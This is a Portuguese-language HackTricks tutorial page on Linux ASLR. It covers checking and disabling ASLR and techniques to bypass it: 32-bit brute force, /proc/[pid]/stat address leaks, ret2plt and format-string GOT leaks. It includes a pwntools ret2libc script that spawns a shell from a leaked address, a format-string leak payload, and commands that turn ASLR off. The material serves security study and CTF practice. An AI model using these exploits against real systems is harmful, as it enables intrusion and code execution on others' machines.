# ASLR {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Informações Básicas **Address Space Layout Randomization (ASLR)** é uma técnica de segurança utilizada em sistemas operacionais para **randomizar os endereços de memória** usados por processos do sistema e de aplicativos. Ao fazer isso, torna-se significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, particularmente buffer overflows. ### **Verificando o Status do ASLR** Para **verificar** o status do ASLR em um sistema Linux, você pode ler o valor do arquivo `/proc/sys/kernel/randomize_va_space`. O valor armazenado neste arquivo determina o tipo de ASLR que está sendo aplicado: * **0**: Sem randomização. Tudo é estático. * **1**: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas. * **2**: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada através de `brk()` é randomizada. Você pode verificar o status do ASLR com o seguinte comando: ```bash cat /proc/sys/kernel/randomize_va_space ``` ### **Desabilitando ASLR** Para **desabilitar** ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` como **0**. Desabilitar ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Aqui está como você pode desabilitá-lo: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` Você também pode desativar o ASLR para uma execução com: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` ### **Habilitando ASLR** Para **habilitar** ASLR, você pode escrever um valor de **2** no arquivo `/proc/sys/kernel/randomize_va_space`. Isso geralmente requer privilégios de root. Habilitar a randomização completa pode ser feito com o seguinte comando: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` ### **Persistência Através de Reinicializações** As alterações feitas com os comandos `echo` são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo `/etc/sysctl.conf` e adicionar ou modificar a seguinte linha: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` Após editar `/etc/sysctl.conf`, aplique as alterações com: ```bash sudo sysctl -p ``` Isso garantirá que suas configurações de ASLR permaneçam após reinicializações. ## **Bypasses** ### Força bruta de 32 bits PaX divide o espaço de endereços do processo em **3 grupos**: * **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Esta variável é inicializada aleatoriamente com cada processo e adicionada aos endereços iniciais. * **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamada `delta_mmap`. * **A pilha** —> **24 bits**, referida como `delta_stack`. No entanto, ela efetivamente utiliza **11 bits** (do 10º ao 20º byte, inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 endereços de pilha reais possíveis**. Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que a exploração seja concluída com sucesso. #### Ideias de força bruta: * Se você tiver um estouro grande o suficiente para hospedar um **grande NOP sled antes do shellcode**, você poderia simplesmente forçar endereços na pilha até que o fluxo **salte sobre alguma parte do NOP sled**. * Outra opção para isso, caso o estouro não seja tão grande e a exploração possa ser executada localmente, é possível **adicionar o NOP sled e o shellcode em uma variável de ambiente**. * Se a exploração for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` * Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demora 10s a mais para responder**, você encontrou o endereço dessa função. {% hint style="success" %} Em sistemas de 64 bits, a entropia é muito maior e isso não é possível. {% endhint %} ### Informações Locais (`/proc/[pid]/stat`) O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e **contém informações interessantes** como: * **startcode** & **endcode**: Endereços acima e abaixo com o **TEXT** do binário * **startstack**: O endereço do início da **pilha** * **start\_data** & **end\_data**: Endereços acima e abaixo onde está o **BSS** * **kstkesp** & **kstkeip**: Endereços atuais de **ESP** e **EIP** * **arg\_start** & **arg\_end**: Endereços acima e abaixo onde estão os **argumentos cli**. * **env\_start** & **env\_end**: Endereços acima e abaixo onde estão as **variáveis de ambiente**. Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e esse binário não espera o estouro de argumentos brutos, mas de uma **entrada diferente que pode ser criada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração**. {% hint style="success" %} Para mais informações sobre este arquivo, consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat` {% endhint %} ### Tendo um leak * **O desafio é fornecer um leak** Se você receber um leak (desafios fáceis de CTF), pode calcular offsets a partir dele (supondo, por exemplo, que você conheça a versão exata da libc que está sendo usada no sistema que você está explorando). Este exemplo de exploração é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ver essa página para mais detalhes): ```python from pwn import * elf = context.binary = ELF('./vuln-32') libc = elf.libc p = process() p.recvuntil('at: ') system_leak = int(p.recvline(), 16) libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( 'A' * 32, libc.sym['system'], 0x0, # return address next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` * **ret2plt** Abusando de um buffer overflow, seria possível explorar um **ret2plt** para exfiltrar um endereço de uma função da libc. Verifique: {% content-ref url="ret2plt.md" %} [ret2plt.md](ret2plt.md) {% endcontent-ref %} * **Format Strings Arbitrary Read** Assim como no ret2plt, se você tiver uma leitura arbitrária através de uma vulnerabilidade de format strings, é possível exfiltrar o endereço de uma **função libc** do GOT. O seguinte [**exemplo é daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' payload += b'%3$s' # The third parameter points at the start of the buffer # this part is only relevant if you need to call the main function again payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` Você pode encontrar mais informações sobre Leitura arbitrária de Strings de Formato em: {% content-ref url="../../format-strings/" %} [format-strings](../../format-strings/) {% endcontent-ref %} ### Ret2ret & Ret2pop Tente contornar o ASLR abusando de endereços dentro da pilha: {% content-ref url="../../stack-overflow/ret2ret.md" %} [ret2ret.md](../../stack-overflow/ret2ret.md) {% endcontent-ref %} {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}